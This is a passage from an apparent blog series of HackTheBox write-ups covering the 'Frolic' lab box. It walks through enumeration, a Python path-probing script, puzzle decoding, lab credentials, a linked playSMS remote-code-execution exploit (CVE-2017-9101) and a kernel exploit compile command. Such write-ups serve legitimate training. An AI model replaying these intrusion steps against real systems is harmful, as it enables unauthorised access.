else.&lt;/p&gt;&#10;&lt;p&gt;I did fall into quite a few traps, though, which wasted a lot of time. I need to pick up the pace.&lt;/p&gt;&#10;&lt;h2 id="17frolic"&gt;&lt;a href="#17frolic" class="header-anchor"&gt;&lt;/a&gt;17.Frolic&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on SMB.&lt;/p&gt;&#10;&lt;p&gt;Port 1880:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there, and directory brute-forcing only returned 401. I then guessed the password correctly: admin/password, sent to the /auth/token endpoint.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Requesting it directly returned nothing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After modifying the request, it returned 401. I couldn&amp;rsquo;t find anything else in Node-RED. These were the directory brute-force results.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 9999:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;/admin used client-side validation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is what appears after a successful login.&lt;/p&gt;&#10;&lt;p&gt;/test is phpinfo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/backup/" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/backup/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This directory contains three things: user.txt, password.txt, and the /loop directory.&lt;/p&gt;&#10;&lt;p&gt;The credentials from user/password were admin/imnothuman.&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find a use for them.&lt;/p&gt;&#10;&lt;p&gt;The other directories, /loop and /dev, both returned 403.&lt;/p&gt;&#10;&lt;p&gt;There was also UDP port 137. I searched for and tried a PoC, but it had no effect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I brute-forced both 403 directories because I hadn&amp;rsquo;t enabled recursion.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a directory and accessed it successfully, but none of the passwords I had obtained could log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0345.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0346.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were lots of exploits, so this was probably the real entry point. However, I didn&amp;rsquo;t know the version. I could either try every exploit or look for the version.&lt;/p&gt;&#10;&lt;p&gt;I deliberately downloaded a version from GitHub to compare.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0347.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every directory&amp;rsquo;s index.html was empty, so I couldn&amp;rsquo;t find the version number.&lt;/p&gt;&#10;&lt;p&gt;Then let&amp;rsquo;s just try exploits, following this tutorial: &lt;a class="link" href="https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90" target="_blank" rel="noopener"&#10; &gt;https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.111:9999/playsms/index.php?app=main&amp;amp;inc=core_auth&amp;amp;route=register&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Registration is available here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0348.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0349.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I was banned, but at least I now knew the directory structure. Surely I wasn&amp;rsquo;t expected to discover a new vulnerability; this should still be exploitable with an n-day.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0350.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll summarize them in reverse order.&lt;/p&gt;&#10;&lt;p&gt;48199.txt requires a login and is Metasploit code.&lt;/p&gt;&#10;&lt;p&gt;42038.txt requires logging in as a normal user, but we already tried and couldn&amp;rsquo;t register.&lt;/p&gt;&#10;&lt;p&gt;44599.rb is a Metasploit script, so I skipped it.&lt;/p&gt;&#10;&lt;p&gt;42044.txt only requires a normal user login and says registration is possible, but we couldn&amp;rsquo;t register.&lt;/p&gt;&#10;&lt;p&gt;42003.txt also requires a normal user login.&lt;/p&gt;&#10;&lt;p&gt;The path in 17792.txt didn&amp;rsquo;t exist on the site or in my source-tree copy. This basically confirmed that the target&amp;rsquo;s version was newer than the one targeted by 17792.txt, meaning newer than 0.9.9.2.&lt;/p&gt;&#10;&lt;p&gt;None of the bundled exploits worked.&lt;/p&gt;&#10;&lt;p&gt;I searched Google and looked for default credentials.&lt;/p&gt;&#10;&lt;p&gt;Several PoCs failed, and the default admin:admin credentials didn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;At this point I suspected it was another dead end like the earlier ones, with no use at all.&lt;/p&gt;&#10;&lt;p&gt;In the end, this was the only directory I found.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0351.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I still hadn&amp;rsquo;t tried SSH, so I went back to test it, but that also failed.&lt;/p&gt;&#10;&lt;p&gt;I tried all three passwords against Samba as well, but none worked, and there were no other shares to connect to.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0352.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Directory brute-forcing gave another result: loop seemed to repeat through many levels, so I kept appending loop to the path.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Host&amp;#39;: &amp;#39;10.10.10.111:9999&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;en-US,en;q=0.5&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Encoding&amp;#39;: &amp;#39;gzip, deflate&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Connection&amp;#39;: &amp;#39;close&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cookie&amp;#39;: &amp;#39;PHPSESSID=gqpklpimfs5kh12tddv3gjgs06&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;i = 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url = &amp;#34;http://10.10.10.111:9999/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;response = requests.get(url=url,headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while response.status_code == 403:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url += &amp;#34;/loop&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(url=url, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; i += 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(i,response.status_code,url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.status_code)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(response.text)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print(url)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0353.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The 42nd level finally returned something. Although the response was 404, I could continue brute-forcing it.&lt;/p&gt;&#10;&lt;p&gt;I continued brute-forcing the final loop directory. I suddenly had another idea: with this many pages, something had to be hidden in the source or JavaScript files, so I continued digging through them.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0354.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This endpoint also had a CSRF token that could be brute-forced, though that would require another script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0355.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was a hint at the very bottom.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0356.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Malay.&lt;/p&gt;&#10;&lt;p&gt;I went through everything. The only hidden content was the material above.&lt;/p&gt;&#10;&lt;p&gt;I had explored everything I could, except the incomprehensible encrypted content in succes.html from the beginning.&lt;/p&gt;&#10;&lt;p&gt;At this point I was 100% sure it had to be examined, so I started Googling.&lt;/p&gt;&#10;&lt;p&gt;I pasted all of the following into Google and got a result:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. ..?.? !.?.. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !&amp;hellip;! &amp;hellip;.. &amp;hellip;.. .!.!! !!!!! !!!!! !!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;!. !!!!! !!.?. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;?. ?!.?. &amp;hellip;.. ..!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;?. ?!.?. &amp;hellip;.. !&amp;hellip;. &amp;hellip;.. ..!.! !!!!! !.!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. &amp;hellip;.! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?&amp;hellip; &amp;hellip;.! ?!!.? &amp;hellip;.. .?.?! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.! .?&amp;hellip; &amp;hellip;.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. &amp;hellip;.. ..?.? !.?.. !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!&amp;hellip; &amp;hellip;.. &amp;hellip;!. ?&amp;hellip;. &amp;hellip;.. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !&amp;hellip;. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. !.!.? &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. &amp;hellip;.. &amp;hellip;.! ?!!.? &amp;hellip;.. &amp;hellip;.. ?.?!. ?&amp;hellip;. &amp;hellip;.. &amp;hellip;.. ..!.. &amp;hellip;.. &amp;hellip;.. .!.?. &amp;hellip;.. &amp;hellip;!? !!.?! !!!!! !!?.? !.?!! !!!.? &amp;hellip;.. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. &amp;hellip;.. &amp;hellip;!? !!.?. &amp;hellip;.. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. &amp;hellip;.. ..!?! !.?.. &amp;hellip;.. .?.?! .?&amp;hellip; .!.?. &amp;hellip;.. &amp;hellip;.. &amp;hellip;.. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! &amp;hellip;.. ..!.! !!!!! !.?.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0357.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0358.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Nothing here check /asdiSIAJJ0QWE9JAS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0359.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0360.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was a ZIP file. An ordinary file couldn&amp;rsquo;t begin with PK, whereas every ZIP file does.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0361.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0362.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried every password I had obtained.&lt;/p&gt;&#10;&lt;p&gt;The final password was password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0363.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0364.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decoded to this:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;+++++ +++++ [-&amp;gt;++ +++++ +++&amp;lt;] &amp;gt;++++ +.&amp;mdash; &amp;ndash;.++ +++++ .&amp;lt;+&lt;/p&gt;&#10;&lt;p&gt;++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+&lt;/p&gt;&#10;&lt;p&gt;++.&amp;lt;+ ++[-&amp;gt; &amp;mdash;&amp;lt;] &amp;gt;&amp;mdash;- &amp;ndash;.&amp;ndash; &amp;mdash;&amp;ndash; .&amp;lt;+++&lt;/p&gt;&#10;&lt;p&gt;+[-&amp;gt;+ +++&amp;lt;] &amp;gt;+++. &amp;lt;+++[ -&amp;gt;&amp;mdash;&lt;/p&gt;&#10;&lt;p&gt;&amp;lt;]&amp;gt;&amp;ndash; .&amp;lt;+++ [-&amp;gt;++ +&amp;lt;]&amp;gt;+ .&amp;ndash;&lt;/p&gt;&#10;&lt;p&gt;-. &amp;lt;+++[ -&amp;gt;&amp;mdash; &amp;lt;]&amp;gt;&amp;ndash; &amp;mdash;-. &amp;lt;++++ [-&amp;gt;++ ++&amp;lt;]&amp;gt;&lt;/p&gt;&#10;&lt;p&gt;++..&amp;lt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I had learned my lesson this time and pasted it straight into Google.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0365.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0366.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The default account was admin, and I successfully logged in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0367.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/42044" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/42044&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;An automated script for 42044:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/jasperla/CVE-2017-9101" target="_blank" rel="noopener"&#10; &gt;https://github.com/jasperla/CVE-2017-9101&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It gets a shell directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0368.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0369.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Database root privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0370.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;44298.c matched perfectly, so I uploaded it directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0371.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It failed because the target was 32-bit. Compiling it for 32-bit should fix it.&lt;/p&gt;&#10;&lt;p&gt;gcc 44298.c -m32 -static -o 44298&lt;/p&gt;&#10;&lt;p&gt;Well, even after compiling it for 32-bit, it still failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0372.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After several attempts, I confirmed this exploit simply wouldn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0373.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It says &amp;lt;, but it still doesn&amp;rsquo;t work.&lt;/p&gt;&#10;&lt;p&gt;There was a settings.js file under /home/sahay/.node-red; its password cracked to password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0374.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0375.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0376.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Node-RED was running as sahay, so compromising Node-RED would directly grant sahay privileges. I continued looking.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0377.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0378.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked these files one by one and found nothing. I could only return to the home directories.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0379.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I saw something interesting: there were two public keys above. But to connect, I needed a private key; the public keys were completely useless to me.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0380.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The two files were identical.&lt;/p&gt;&#10;&lt;p&gt;Continuing through the home directory, I found this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0381.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It had the SUID bit.&lt;/p&gt;&#10;&lt;p&gt;It was an ELF binary. Running it briefly produced this prompt:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0382.zh.webp" alt="" loading="lazy" 